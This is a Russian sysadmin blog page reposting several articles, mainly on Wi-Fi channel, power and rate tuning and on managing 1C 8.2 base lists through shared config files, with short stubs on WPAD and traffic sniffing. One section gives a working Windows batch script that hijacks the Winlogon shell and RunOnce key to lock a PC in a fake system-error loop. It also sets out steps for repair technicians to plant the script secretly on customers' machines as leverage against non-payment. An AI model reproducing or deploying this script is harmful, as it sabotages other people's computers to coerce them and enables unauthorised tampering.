Админская фамилия

Make Sysadmins Great Again

Wi-Fi. Интересное. 1.

Попала в мои руки приличная сеть с кучей беспроводных устройств. Пришлось грызть гранит беспроводных соединений. Отсюда, репосты нужного и интересного с хабра. Копипаст, чтоб не потерять инфу. Wi-Fi: неочевидные нюансы (на примере домашней сети) Сейчас многие покупают точки доступа 802.11n, но хороших скоростей достичь удается не всем. В этом посте поговорим о не очень очевидных мелких нюансах, которые могут ощутимо улучшить (или ухудшить) работу Wi-Fi. Всё описанное ниже применимо как к домашним Wi-Fi-роутерам со стандартными и продвинутыми (DD-WRT & Co.) прошивками, так и к корпоративным железкам и сетям. Поэтому, в качестве примера возьмем «домашнюю» тему, как более родную и близкую к телу. Ибо даже самые администые из админов и инженеристые из инженеров живут в многоквартирных домах (или поселках с достаточной плотностью соседей), и всем хочется быстрого и надежного Wi-Fi.[!!]: после замечаний касательно публикации первой части привожу текст целиком. Если вы читали первую часть — продолжайте отсюда.Несколько примечаний перед началом:Стиль изложения нарочито упрощен, т.к. некоторые вещи вам, возможно, придется объяснять соседям, совершенно незнакомым с основами радиосетей, стандартом 802.11 и регуляторной политикой государства.Все описанное ниже носит рекомендательный характер. Возможно, они неприменимы к вашей ситуации. Из любого правила есть исключения, которые опущены для краткости. Предельные случаи можно обсудить в комментариях.Пожалуйста, обратите внимание на слово «неочевидные». Подробное доказательство некоторых тезисов требует погружения в стандарты, я этого делать не хочу (хоть и пришлось пару раз).1. Как жить хорошо самому и не мешать соседям.[1.1] Казалось бы – чего уж там? Выкрутил точку на полную мощность, получил максимально возможное покрытие – и радуйся. А теперь давайте подумаем: не только сигнал точки доступа должен достичь клиента, но и сигнал клиента должен достичь точки. Мощность передатчика ТД обычно до 100 мВт (20 dBm). А теперь загляните в datasheet к своему ноутбуку/телефону/планшету и найдите там мощность его Wi-Fi передатчика. Нашли? Вам очень повезло! Часто её вообще не указывают (можно поискать по FCC ID). Тем не менее, можно уверенно заявлять, что мощность типичных мобильных клиентов находится в диапазоне 30-50 мВт. Таким образом, если ТД вещает на 100мВт, а клиент – только на 50мВт, в зоне покрытия найдутся места, где клиент будет слышать точку хорошо, а ТД клиента — плохо (или вообще слышать не будет) – асимметрия. Это справедливо даже с учетом того, что у точки обычно лучше чувствительность приема — смотрите под спойлером. Опять же, речь идет не о дальности, а о симметрии.Сигнал есть – а связи нет. Или downlink быстрый, а uplink медленный. Это актуально, если вы используете Wi-Fi для онлайн-игр или скайпа, для обычного интернет-доступа это не так и важно (только, если вы не на краю покрытия). И будем жаловаться на убогого провайдера, глючную точку, кривые драйвера, но не на неграмотное планирование сети. Обоснование (для тех, кому интересны подробности):Вывод: может оказаться, что для получения более стабильной связи мощность точки придется снизить. Что, согласитесь, не совсем очевидно :) [1.2] Также далеко не самым известным фактом, добавляющим к асимметрии, является то, что у большинства клиентских устройств мощность передатчика снижена на «крайних» каналах (1 и 11/13 для 2.4 ГГц). Вот пример для iPhone из документации FCC (мощность на порту антенны).Как видите, на крайних каналах мощность передатчика в ~2.3 раза ниже, чем на средних. Причина в том, что Wi-Fi – связь широкополосная, удержать сигнал чётко в пределах рамки канала не удастся. Вот и приходится снижать мощность в «пограничных» случаях, чтобы не задевать соседние с ISM диапазоны. Вывод: если ваш планшет плохо работает в туалете – попробуйте переехать на канал 6.2. Раз уж речь зашла о каналах…Всем известны «непересекающиеся» каналы 1/6/11. Так вот, они пересекаются! Потому, что Wi-Fi, как было упомянуто раньше, технология широкополосная и полностью сдержать сигнал в рамках канала невозможно. Приведенные ниже иллюстрации демонстрируют эффект для 802.11n OFDM (HT). На первой иллюстрации изображена спектральная маска 802.11n OFDM (HT) для 20МГц канала в 2.4ГГц (взята прямо из стандарта). По вертикали — мощность, по горизонтали — частота (смещение от центральной частоты канала). На второй иллюстрации я наложил спектральные маски каналов 1,6,11 с учетом соседства. Из этих иллюстраций мы сделаем два важных вывода. [2.1] Все считают, что ширина канала — 22МГц (так и есть). Но, как показывает иллюстрация, сигнал на этом не заканчивается, и даже непересекающиеся каналы таки перекрываются: 1/6 и 6/11 — на ~-20dBr, 1/11 — на ~-36dBr, 1/13 — на -45dBr.Попытка поставить две точки доступа, настроенные на соседние «неперекрывающиеся» каналы, близко друг от друга приведет к тому, что каждая из них будет создавать соседке помеху в 20dBm – 20dB – 50dB [которые добавим на потери распространения сигнала на малое расстояние и небольшую стенку] =-50dBm! Такой уровень шума способен целиком забить любой полезный Wi-Fi сигнал из соседней комнаты, или блокировать ваши коммуникации целиком! ПочемуВывод: если вы поставите точку рядом со стеной, а ваш сосед – с другой стороны стены, его точка на соседнем «неперекрывающемся» канале все равно может доставлять вам серьезные проблемы. Попробуйте посчитать значения помехи для каналов 1/11 и 1/13 и сделать выводы самостоятельно. Аналогично, некоторые стараются «уплотнить» покрытие, устанавливая две точки настроенные на разные каналы друг на друга стопкой — думаю, уже не надо объяснять, что будет (исключением тут будет грамотное экранирование и грамотное разнесение антенн — все возможно, если знать как). [2.2] Второй интересный аспект – это попытки чуть более продвинутых пользователей «убежать» между стандартными каналами 1/6/11. Опять же, логика проста: «Я между каналами словлю меньше помех». По факту, помех, обычно, ловится не меньше, а больше. Раньше вы страдали по полной только от одного соседа (на том же канале, что и вы). Но это были помехи не первого уровня OSI (интерференция), а второго – коллизии — т.к. ваша точка делила с соседом коллизионный домен и цивилизованно соседствовала на MAC-уровне. Теперь вы ловите интерференцию (Layer1) от двух соседей с обеих сторон. В итоге, delay и jitter, может, и попытались немного уменьшиться (т.к. коллизий теперь как бы нет), но зато уменьшилось и соотношение сигнал/шум. А с ним уменьшились и скорости (т.к. каждая скорость требует некоторого минимального SNR — об этом в [3.1]) и процент годных фреймов (т.к. уменьшился запас по SNR, увеличилась чувствительность к случайным всплескам интерференции). Как следствие, обычно, возростает retransmit rate, delay, jitter, уменьшается пропускная способность.Кроме того, при значительном перекрытии каналов таки возможно корректно принять фрейм с соседнего канала (если соотношение сигнал/шум позволяет) и таки получить коллизию. А при помехе выше -62dBm вышеупомянутый механизм CCA просто не даст воспользоваться каналом. Это только усугубляет ситуацию и негативно влияет на пропускную способность.Вывод: не старайтесь использовать нестандартные каналы, не просчитав последствий, и отговаривайте от этого соседей. В общем, то же, что и с мощностью: отговаривайте соседей врубать точки на полную мощность на нестандартных каналах – будет меньше интерференции и коллизий у всех. Как просчитать последствия станет понятно из [3].[2.3] По примерно тем же причинам не стоит ставить точку доступа у окна, если только вы не планируете пользоваться/раздавать Wi-Fi во дворе. Толку от того, что ваша точка будет светить вдаль, вам лично никакого – зато будете собирать коллизии и шум от всех соседей в прямой видимости. И сами к захламленности эфира добавите. Особенно в многоквартирных домах, построенных зигзагами, где окна соседей смотрят друг на друга с расстояния в 20-30м. Соседям с точками на подоконниках принесите свинцовой краски на окна… :)[2.4][UPD] Также, для 802.11n актуален вопрос 40MHz каналов. Моя рекоммендация — включать 40MHz в режим «авто» в 5GHz, и не включать («20MHz only») в 2.4GHz (исключение — полное отсутствие соседей). Причина в том, что в присутствии 20MHz-соседей вы с большой долей вероятности получите помеху на одной из половин 40MHz-канала + включится режим совместимости 40/20MHz. Конечно, можно жестко зафиксировать 40MHz (если все ваши клиенты его поддерживают), но помеха все равно останется. Как по мне, лучше стабильные 75Mbps на поток, чем нестабильные 150. Опять же, возможны исключения — применима логика из [3.4]. Подробности можно почитать в этой ветке комментариев (вначале прочтите [3.4]).3. Раз уж речь зашла о скоростях…[3.1] Уже несколько раз мы упоминали скорости (rate/MCS — не throughput) в связке с SNR. Ниже приведена таблица необходимых SNR для рейтов/MCS, составленная мной по материалам стандарта. Собственно, именно поэтому для более высоких скоростей чувствительность приемника меньше, как мы заметили в [1.1].В сетях 802.11n/MIMO благодаря MRC и другим многоантенным ухищрениям нужный SNR можно получить и при более низком входном сигнале. Обычно, это отражено в значениях чувствительности в datasheet’ах.Отсюда, кстати, можно сделать еще один вывод: эффективный размер (и форма) зоны покрытия зависит от выбранной скорости (rate/MCS). Это важно учитывать в своих ожиданиях и при планировании сети.[3.2] Этот пункт может оказаться неосуществимым для владельцев точек доступа с совсем простыми прошивками, которые не позволяют выставлять Basic и Supported Rates. Как уже было сказано выше, скорость (rate) зависит от соотношения сигнал/шум. Если, скажем, 54Mbps требует SNR в 25dB, а 2Mbps требует 6dB, то понятно, что фреймы, отправленные на скорости 2Mbps «пролетят» дальше, т.е. их можно декодировать с большего расстояния, чем более скоростные фреймы. Тут мы и приходим к Basic Rates: все служебные фреймы, а также броадкасты (если точка не поддерживает BCast/MCast acceleration и его разновидности), отправляются на самой нижней Basic Rate. А это значит, что вашу сеть будет видно за многие кварталы. Вот пример (спасибо Motorola AirDefense).Опять же, это добавляет к рассмотренной в [2.2] картине коллизий: как для ситуации с соседями на том же канале, так и для ситуации с соседями на близких перекрывающихся каналах. Кроме того, фреймы ACK (которые отправляются в ответ на любой unicast пакет) тоже ходят на минимальной Basic Rate (если точка не поддерживает их акселерацию) Еще немного математикиВывод: отключайте низкие скорости – и у вас, и у соседей сеть станет работать быстрее. У вас – за счет того, что весь служебный трафик резко начнет ходить быстрее, у соседей – за счет того, что вы теперь для них не создаете коллизий (правда, вы все еще создаете для них интерференцию — сигнал никуда не делся — но обычно достаточно низкую). Если убедите соседей сделать то же самое – у вас сеть будет работать еще быстрее.[3.3] Понятно, что при отключении низких скоростей подключиться к тоже можно будет только в зоне более сильного сигнала (требования к SNR стали выше), что ведет к уменьшению эффективного покрытия. Равно как и в случае с понижением мощности. Но тут уж вам решать, что вам нужно: максимальное покрытие или быстрая и стабильная связь. Используя табличку и datasheet’ы производителя точки и клиентов почти всегда можно достичь приемлемого баланса.[3.4] Еще одним интересным вопросом являются режимы совместимости (т.н. “Protection Modes”). В настоящее время есть режим совместимости b-g (ERP Protection) и a/g-n (HT Protection). В любом случае скорость падает. На то, насколько она падает, влияет куча факторов (тут еще на две статьи материала хватит), я обычно просто говорю, что скорость падает примерно на треть. При этом, если у вас точка 802.11n и клиент 802.11n, но у соседа за стеной точка g, и его трафик долетает до вас – ваша точка точно так же свалится в режим совместимости, ибо того требует стандарт. Особенно приятно, если ваш сосед – самоделкин и ваяет что-то на основе передатчика 802.11b. :) Что делать? Так же, как и с уходом на нестандартные каналы – оценить, что для вас существеннее: коллизии (L2) или интерференция (L1). Если уровень сигнала от соседа относительно низок, переключайте точки в режим чистого 802.11n (Greenfield): возможно, понизится максимальная пропускная способность (снизится SNR), но трафик будет ходить равномернее из-за избавления от избыточных коллизий, пачек защитных фреймов и переключения модуляций. В противном случае – лучше терпеть и поговорить с соседом на предмет мощности/перемещения ТД. Ну, или отражатель поставить… Да, и не ставьте точку на окно! :)[3.5] Другой вариант – переезжать в 5 ГГц, там воздух чище: каналов больше, шума меньше, сигнал ослабляется быстрее, да и банально точки стоят дороже, а значит – их меньше. Многие покупают dual radio точку, настраивают 802.11n Greenfield в 5 ГГц и 802.11g/n в 2.4 ГГц для гостей и всяких гаджетов, которым скорость все равно не нужна. Да и безопаснее так: у большинства script kiddies нет денег на дорогие игрушки с поддержкой 5 ГГц. Для 5 ГГц следует помнить, что надежно работают только 4 канала: 36/40/44/48 (для Европы, для США есть еще 5). На остальных включен режим сосуществования с радарами (DFS). В итоге, связь может периодически пропадать.4. Раз уж речь зашла о безопасности…Упомянем некоторые интересные аспекты и здесь.[4.1] Какой должна быть длина PSK? Вот выдержка из текста стандарта 802.11-2012, секция M4.1:Keys derived from the pass phrase provide relatively low levels of security, especially with keys generated form short passwords, since they are subject to dictionary attack. Use of the key hash is recommended only where it is impractical to make use of a stronger form of user authentication. A key generated from a passphrase of less than about 20 characters is unlikely to deter attacks.Вывод: ну, у кого пароль к домашней точке состоит из 20+ символов? :)[4.2] Почему моя точка 802.11n не «разгоняется» выше скоростей a/g? И какое отношение это имеет к безопасности? Стандарт 802.11n поддерживает только два режима шифрования: CCMP и None. Сертификация Wi-Fi 802.11n Compatible требует, чтобы при включении TKIP на радио точка переставала поддерживать все новые скоростные режимы 802.11n, оставляя лишь скорости 802.11a/b/g. В некоторых случаях можно видеть ассоциации на более высоких рейтах, но пропускная способность все равно будет низкой. Вывод: забываем про TKIP – он все равно будет запрещен с 2014 года (планы Wi-Fi Alliance).[4.3] Стоит ли прятать (E)SSID? (это уже более известная тема)спрятался5. Всякая всячина.[5.1] Немного о MIMO. Почему-то по сей день я сталкиваюсь с формулировками типа 2x2 MIMO или 3x3 MIMO. К сожалению, для 802.11n эта формулировка малополезна, т.к. важно знать еще количество пространственных потоков (Spatial Streams). Точка 2x2 MIMO может поддерживать только один SS, и не поднимется выше 150Mbps. Точка с 3x3 MIMO может поддерживать 2SS, ограничиваясь лишь 300Mbps. Полная формула MIMO выглядит так: TX x RX: SS. Понятно, что количество SS не может быть больше min (TX, RX). Таким образом, приведенные выше точки будут записаны как 2x2:1 и 3x3:2. Многие беспроводные клиенты реализуют 1x2:1 MIMO (смартфоны, планшеты, дешевые ноутбуки) или 2x3:2 MIMO. Так что бесполезно ожидать скорости 450Mbps от точки доступа 3x3:3 при работе с клиентом 1x2:1. Тем не менее, покупать точку типа 2x3:2 все равно стоит, т.к. большее количество принимающих антенн добавляет точке чувствительности (MRC Gain). Чем больше разница между количеством принимающих антенн точки и количеством передающих антенн клиента — тем больше выигрыш (если на пальцах). Однако, в игру вступает multipath.[5.2] Как известно, multipath для сетей 802.11a/b/g – зло. Точка доступа, поставленная антенной в угол, может работать не самым лучшим образом, а выдвинутая из этого угла на 20-30см может показать значительно лучший результат. Аналогично для клиентов, помещений со сложной планировкой, кучей металлических предметов и т.д. Для сетей MIMO с MRC и в особенности для работы нескольких SS (и следовательно, для получения высоких скоростей) multipath – необходимое условие. Ибо, если его не будет – создать несколько пространственных потоков не получится. Предсказывать что-либо без специальных инструментов планирования здесь сложно, да и с ними непросто. Вот пример рассчетов из Motorola LANPlanner, но однозначный ответ тут может дать только радиоразведка и тестирование. Создать благоприятную multipath-обстановку для работы трех SS сложнее, чем для работы двух SS. Поэтому новомодные точки 3x3:3 работают с максимальной производительностью обычно лишь в небольшом радиусе, да и то не всегда. Вот красноречивый пример от HP (если копнуть глубже в материалы анонса их первой точки 3x3:3 — MSM460)[5.3] Ну, и несколько интересных фактов для коллекции:Человеческое тело ослабляет сигнал на 3-5dB (2.4/5ГГц). Просто развернувшись лицом к точке можно получить более высокую скорость.Некоторые дипольные антенны имеют асммметричную диаграмму направленности в H-плоскости («вид сбоку») и лучше работают перевернутымиВ фрейме 802.11 может использоваться одновременно до четырех MAC-адресов, а в 802.11s (новый стандарт на mesh) — до шести!ИтогоТехнология 802.11 (да и радиосетей в целом) обладает множеством неочевидных особенностей. Лично у меня вызывает громадное уважение и восхищение тот факт, что люди отточили насколько сложную технологию до уровня «воткни-работай». Мы рассмотрели (в разном объеме) разные аспекты физического и канального уровня сетей 802.11:Асиметрию мощностейОграничения на мощность передачи в граничных каналахПересечение «непересекающихся» каналов и последствияРаботу на «нестандартных» каналах (отличных от 1/6/11/13)Работу механизма Clear Channel Assesment и блокировку каналаЗависимость скорости (rate/MCS) от SNR и, как следствие, зависимость чувствительности приемника и зоны покрытия от требуемой скоростиОсобенности пересылки служебного трафикаПоследствия включения поддержки низких скоростейПоследствия включения поддержки режимов совместимостиВыбор каналов в 5ГГцНекоторые забавные аспекты безопасности, MIMO и проч.Не все было рассмотрено в полном объеме и исчерпывающем виде, равно как за бортом остались неочевидные аспекты сосуществования клиентов, балансировки нагрузки, WMM, питания и роуминга, экзотика типа Single-Channel Architecture и индивидуальных BSS — но это уже тема для сетей совсем другого масштаба. Если следовать хотя бы вышеприведенным соображениям, в обычном жилом доме можно получить вполне приличный коммунизм microcell, как в высокопроизводительных корпоративных WLAN. Надеюсь, статья была вам интересна.


Автоопределение прокси в домене Windows

Автоматизация - дело хорошее. И автоматизирование всего и вся поможет улучшить жизнь системного администратора если не в текущий момент, то в обозримом будущем точно. Для этого решил я настроить автоконфигурирование настроек прокси-сервера на клиентских машинах.
Имеется апдейт!

Как прокси мы используем Usergate (будь он неладен. На человеческие прокси пока не могу уломать начальство). В нем есть свой DHCP сервер с нужной нам функцией. Но в качестве DHCP мы используем стандартные средства Windows Server, поэтому простой вариант с одной галочкой нам не подходит.
 Тут нам на помощь приходит протокол автонастройки прокси (
WPAD). Смысл его работы в следующем:


Wireshark для самых маленьких


О безопасных каналах для юных админов

Написано по-русски и понятно даже для неподготовленного пользователя.

Параллельно с развитием технологий защиты интернет-трафика от несанкционированного доступа развиваются и технологии перехвата защищенного трафика. Перехватить и изучить незашифрованный трафик пользователя уже давно не составляет труда даже для рядового юзера. Практически каждому известно слово «сниффер». Теоретически, защищенные SSL/TSL-соединения перехватить обычными средствами невозможно. Но так ли это?

На самом деле — не совсем так. Да, зашифрованный трафик теоретически невозможно расшифровать, хотя опять таки теоретически при очень большой необходимости и желании, и такой трафик можно расшифровать, подобрав ключ. Однако для этого нужны такие затраты ресурсов, что актуальность взлома сохраняется только, наверное, на правительственном или военном уровне :)


Бомба для недобросовестного клиента

Обратился ко мне один знакомый аникейщик. Он хотел, чтобы я написал скрипт, который будет как либо портить жизнь его клиентов, которые его кидают. Например, они согласились на ремонт и его оплату, т.е. согласились с суммой. Когда работа уже сделана, клиент выгоняет тебя, ничего не заплатив. Как с этим бороться? Я написал простой батничек. Вот его исходники:@echo offreg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v Shell /d %systemroot%\restore.bat /f >nulreg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce” /d %systemroot$\restore.bat /f >nulEcho Attention! Crytical system error! Kernel rebilding. Don`t touching a keyboard!:sysinf >nulsysteminfo >nulgoto sysinf >nulТеперь разберемся. Первые две строчки прописывают файл в реестр. Сначала для запуска вместо explorer.exe, а затем для единоразового автоматического запуска при старте системы (для любого пользователя). В конце всех строк, кроме первой и четвертой имеется параметр “>nul”. Этот параметр отвечает за отсутствие вывода результатов работы команд.Пятая строчка является меткой, по вызову которой следует незамедлительно мыполнить нижеследующие команды.Шестой строчкой я делаю запрос о состоянии системы. Т.е. какое железо и обновления установлены на компе. Команду можно смело сменить на другую. Было необходимо, чтобы были сменяющиеся надписи.Седьмая строка возвращает выполнение на метку (пятая строка) после выполнения шестой строки, что приводит машину к замкнутому циклу. По сути, появляется тот же самый порно баннер, только его можно закрыть. С другой стороны, после перезапуска он появится вновь.А вот второй код, убирающий действие первого.@echo offreg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v Shell /d explorer.exe /f >nulreg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce” /d   /f >nulСхема работы.1. Копируете первый батник (restore.bat) в папку виндоус на системе клиента. Внимание! Сделать это надо ДО начала платных работ.2. Запускаем его и как только появляется надпись, закрываем (значит, что ключи прописаны).3. Если вас выгоняют - просто уходим. Все работает до первой перезагрузки. Если все нормально - запускаем второй батник (называйте, как хотите). Он вернет систему в первоначальное состояние.Конечно, использовать его не надо. На самом деле, он необходим, чтобы вы знали, куда копать, если появится подобное. А также, чтобы понимали, что могут сделать люди, которых кинули. Поговорка “Скупой платит дважды” как раз про эту ситуацию.Отсюда


Управление списками баз 1С 8.2

Одно из правил управления временем — Если есть человек, которому можно делегировать выполнение задачи — делегируй.ПредысторияКак я докатился до того, что — Я, системный администратор! — стал задаваться вопросами работы 1С?Тирада в моей оригинальной статье, которую вряд ли кто читал, касалась того, какие лентяи 1С разработчики, и сами производители 1С, что одни понаделали много функций, но другие недостаточно хорошо описали, третьи поленились разобраться, а свалили всю рутину на системных администраторов, которым делать-то нечего, кроме как за элитой IT подметать. Думаю, здесь никто меня не похвалит за такие рассуждения. Хотя и похвалы особо не ищу. Единственная цель — чтобы это пригодилось кому-то, кто правильный лентяй-админ, и не любит заниматься одним и тем же помногу раз. А теперь о том, как это было.Я столкнулся с таким положением дел, что всем сотрудникам наши 1С разработчики добавляют базы ручками, присутствуя на рабочем месте сотрудника, либо просят это сделать нас удалённо, подключившись к рабочему столу пользователя и мышкакликанием все повторить.Выглядит это так:— Миша, добавь Васи Пупкину базу: 1C-server:1551 «buh_prod»— А как её назвать?— БухгалтерияИ не думайте, что в следующий раз, этот 1С разработчик скажет мне, что эту базу можно назвать именно также. Как следствие, у нас одна и та же база у разных сотрудников называлась по разному. Красота, не так ли?!Ещё одна сторона этой проблемы в том, что Сотрудник должен быть на месте, компьютер включен, и у него должно быть время (5 мин), чтобы я мог всё это сделать. Если сотрудника нет на месте, то вы можете себе предположить, сколько от меня требуется трудозатрат, чтобы выловить этого сотрудника, согласовать с ним время и сделать это. А если этот сотрудник в удалённом офисе, на ноутбуке, и бывает в сети крайне редко, плюс разница поясов Владивосток — Москва, то это ещё добавляет остроты ощущений. Конечно, можно ещё ярлыком в почту бросить, но этим у нас 1С разработчики очень крайне редко пользуются — или не умеют, или не хотят, или за нас переживают, что без работы останемся, за что им отдельная благодарность и лучи поноса.Баз у нас порядка пятнадцати. У каждой группы отдельный набор баз. А есть и такие, у кого строго индивидуальный список.Следующая картина вам ещё больше понравится.Поступает распоряжение от главы 1С’ников, что нужно трём отделам изменить базу, т.к. она переехала на другой сервер. Дальше не буду тратить буквы, т.к. всё что я описал выше множите на тридцать человек, двадцать из которых в другом офисе или даже другом городе. Классная задачка.Не помню, сколько раз, я, таких суматох вынес, но было их больше десяти. После чего мне стало интересно, какие способы оптимизации этого процесса есть по unix-way’ю.И стал я читать… Читал долго… Читал упорно… Документация 1С в справке мне совершенно не понравилась — написано так, как будто бы я уже это делал, поэтому большую часть идеи они оставляют между строк. Лучи поноса в написателей встроенной справки 1С. Как обычно это бывает, более-менее понятную инструкцию нашел на личном блоге, не помню уже кого.Теория устройства конфигурационных файловВ 1С организовано всё, что касается списков баз, в обычных текстовых, читаемых файлах с расширениями .cfg и .v8i, в кодировке utf-8. Так что, как вы наверняка догадываетесь, можно всё делать то же самое без отрыва пользователя, открывая файл по сети обычным текстовым редактором и правкой на прямую.Расположение файлов на стороне пользователяУ пользователя на компьютере 1С 8.2 хранит фалы списков баз в каталогах:Для Windows XP:Профиль всех пользователей: С:\Documents and Settings\All Users\Application Data\1C\1CEstart</span>Профиль пользователя: С:\Documents and Settings%username%\Application Data\1C\1CEstart</span>Для Windows 7:Профиль всех пользователей: C:\ProgramData\1C\1CEStart</span>Профиль пользователя: C:\Users%username%\AppData\Roaming\1C\1CEStart</span>Содержимое профиля пользователя — два файла: 1CEStart.cfg, ibases.v8i.Содержимое директории профиля всех пользователей — один лишь, 1CEStart.cfg.При запуске 1С берёт список баз к представлению в файле пользователя C:\Users%username%\AppData\Roaming\1C\1CEStart\ibases.v8i, но предварительно читает настройки сначала из профиля всех пользователей C:\ProgramData\1C\1CEStart\1CEStart.cfg, а потом и из профиля пользователя C:\Users%username%\AppData\Roaming\1C\1CEStart\1CEStart.cfg, и если в них есть ссылки на конфигурационные базы в сети, то добавляет их в этот файл.Описание файла 1CEStart.cfgВ профиле всех пользователей конфигурационный файл C:\ProgramData\1C\1CEStart\1CEStart.cfg имеет следующее содержание:InstalledLocation=C:\Program Files (x86)<span class=“number” style=“border: 0px; color: #2f98ff; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">1cv82InstallComponents=DESIGNERALLCLIENTS=1 THINCLIENTFILE=1 THINCLIENT=0 WEBSERVEREXT=0 SERVER=0 CONFREPOSSERVER=0 CONVERTER77=0 SERVERCLIENT=0 LANGUAGES=RUГде:InstalledLocation — содержит указание на каталог, в который выполнена установка 1С: Предприятие. По умолчанию это значение C:\Program Files (x86)\1Cv82.CommonCfgLocation — указывает путь и имя общего конфигурационного файла. Допускается наличие нескольких строк с таким параметром.CommonInfoBases — указывает путь и имя файла (.v8i) со списком общих информационных баз.DistributiveLocation — содержит указание на каталог, в котором будет производится поиск новой версии для автоматической установки.InstallComponents — В локальном конфигурационном файле (1CEStart.cfg) содержит перечень установленных компонент с признаком нужно установить компонету — 1, или нет — 0.Возможны следующие компоненты параметра InstallComponents:DESIGNERALLCLIENTS — все клиенты и конфигуратор.THINCLIENT — тонкий клиент для клиент-серверного варианта работы.THINCLIENTFILE — тонкий клиент с возможностью работы с файловыми информационными базами.SERVER — сервер 1С: Предприятия. Если программа установки запускается из программы запуска, то сервер будет установлен как приложение.WEBSERVEREXT — компоненты расширения для веб-сервера.CONFREPOSSERVER — сервер хранилища конфигураций 1С: Предприятия.SERVERCLIENT — компоненты для администрирования кластера серверов 1С: Предприятия.CONVERTER77 — конвертер информационных баз из версии 1С: Предприятия 7.7.LANGUAGES — список языков интерфейса для установки. Если указано несколько языков, они перечисляются через ”,”. Пример: LANGUAGES=RU,UK,BGВ профиле пользователя конфигурационный файл C:\Users%username%\AppData\Roaming\1C\1CEStart\1CEStart.cfg первоначально пустой. Но, если какие-то настройки необходимо сделать индивидуально для конкретного пользователя, то писать именно в него, и тут уже его ключи настроек будут иметь больший приоритет, но не все. Это отдельный вопрос, им я не буду сейчас захламлять голову.Описание файла ibases.v8iВторой важный файл информационных баз, который находится в профиле самого пользователя — C:\Users%username%\AppData\Roaming\1C\1CEStart\ibases.v8i. В него и собирается конечный список баз. Пример его содержимого:[PhoneBook]Connect=Srvr=“1C-server:1551”;Ref=“phonebook”;ID=34891493-907f-4783-8a37-3cbc092a989aOrderInList=16640Folder=/OrderInTree=16640External=1ClientConnectionSpeed=NormalApp=ThinClientWA=1Version=8.2[ITIL]Connect=File=”\Dvc-server\it\Equipment\Rarus\ITIL";ID=2829c91a-137f-457c-93fe-9e74c8ec5ee4OrderInList=16384Folder=/OrderInTree=256External=1ClientConnectionSpeed=NormalApp=AutoWA=1Version=8.2.14.540Где:[phonebook] – название базы 1С. Может быть как русскими буквами, так и английскими. Это то, что видит пользователь.Connect=Srvr=“1C-server:1551”;Ref=“phonebook”; - место хранения базы. | | | | | | | |- наименование базы на сервере 1С. | | |————- порт подключения, если отличается от стандартного. | |——————— адрес сервера. |—————————– тип подключения может быть: Srvr, File, ws - вэб-сервер.ID=34891493-907f-4783-8a37-3cbc092a989a — автоматически генерируемый уникальный код базы. Если у двух записей один и тот же ID, значит это одна база.OrderInList=16640 — порядок в списке баз, когда базы представлены одним общим списком без подкаталогов; этот параметр из сетевого списка синхронизируется только в чистый ibases.v8i, если в ibases.v8i пользователя уже заполнен этой базой и этот параметр не будет перезаписываться, при его изменении в сети.Folder=/ — задаёт место в дереве каталогов, если вид представления списка баз выставлен деревом; этот параметр имеет приоритет пользователя, и не меняется при изменении в сетевом конфиге.OrderInTree=16640 — порядок в дереве, когда список баз представлен в виде иерархии подкаталогов; этот параметр имеет также приоритет пользователя, и синхронизируется только при первом добавлении базы, а далее подлежит изменению только локальным пользователем.External=1 — внешняя подключаемая запись конфигурации или нет. Когда 0 тогда база присутствует только в этом файле. В данной ситуации эта запись импортируется из файла списка баз .v8i из сети. Это идентификатор, если это список баз расположенный в сети (расшаренный), то этот параметр можно вообще убрать из конфигурационного файла.ClientConnectionSpeed=Normal — скорость соединения клиента. Опции могут быть “Nofmal” и “Low”. Логика ясна и без моих поиснений. Этот параметр интерактивный и при сетевом размещении синхронизируется при каждом запуске 1С.App=Auto — тип соединения клиента. Бывает три типа:— Auto — определяется сервером;— ThinClient — тонкий клиент;— ThickClient — толстый клиент.Этот параметр интерактивный и синхронизируется при каждом запуске 1С.WA=1 — этот параметр говорит о том, что система должна использовать windows авторизацию. Этот параметр интерактивный и синхронизируется при каждом запуске 1С.Version=8.2 — используемая версия для этой базы. Если указать полностью конкретизируя какую платформу использовать, то будет использовать именно ту платформу, которую укажешь, как, например, во второй записи — Version=8.2.14.540. Этот параметр интерактивный и синхронизируется с сетевым конфигом при каждом запуске 1С.Также есть ещё такой параметр как DefaultApp — тип соединения клиента по умолчанию, если в конфигурации для базы не задан, и DefaultVersion — используемая версия по умолчанию, если не задано в конфигурации для базы. Этот параметр пользовательский, и синхронизируется в чистый файл базы при первом запуске. Далее этим параметром управляет локальный пользователь.Ссылки на конфигурационные файлы в сетиПрелесть всей этой схемы работы в том, что производители 1С предусмотрели возможность глядеть в конфигурационные файлы, расположенные в сети. Реализуется это путём правки:либо в конфигурационном файле всех пользователей C:\ProgramData\1C\1CEStart\1CEStart.cfg, если мы хотим показать базы для всех пользователей компьютера;либо в конфигурационном файле конкретного пользователя C:\Users%username%\AppData\Roaming\1C\1CEStart\1CEStart.cfg, если мы хотим показать базы только определённому пользователю на компьютере.А добавить можно параметры:либо CommonCfgLocation=\server\1C\config\bases.cfg — указывает путь и имя общего конфигурационного файла. Допускается наличие нескольких строк с таким параметром. Название файла не играет принципиального значения, лишь бы расширение сохранялось;либо CommonInfoBases=\server\1C\config\buh_bases.v8i — указывает путь и имя файла (.v8i) со списком общих информационных баз. Название файла не играет принципиального значения, лишь бы расширение сохранялось;или в комбинации и тот и другой, и помногу строк.Следует оговориться, что в сети мы должны разместить файлы с расширением .cfg и .v8i, и соответствующим наполнением.Идея использования возможностейИдея заключается в том, чтобы делать правки с наименьшим количеством повторений. Если настройки базы или её расположение на сервере поменялось, то, исправив запись один раз в одном месте, мы получим актуальную информацию на всех компьютерах.Для этого необходимо сделать шару в сети: \server\1C</code>. В этой шаре сделать, как минимум два каталога:..\bases</span>Листинг каталога:\server\1C\bases....base1.v8ibase2.v8ibase3.v8ibase4.v8iВ этом каталоге будут хранится файлы с расширением .v8i. Эти файлы будут иметь внутри себя настройки всего лишь одной базы для каждого файла. Причём указать следует только те параметры, настройки, которые критичны именно для этой базы, всё остальное автоматом подставится по умолчанию. Пример файла:[Название базы]Connect=ClientConnectionSpeed=NormalApp=AutoWA=1Version=8.2Следует избегать использования параметра ID, т.к. 1С разработчики используют для создания новой базы копипаст 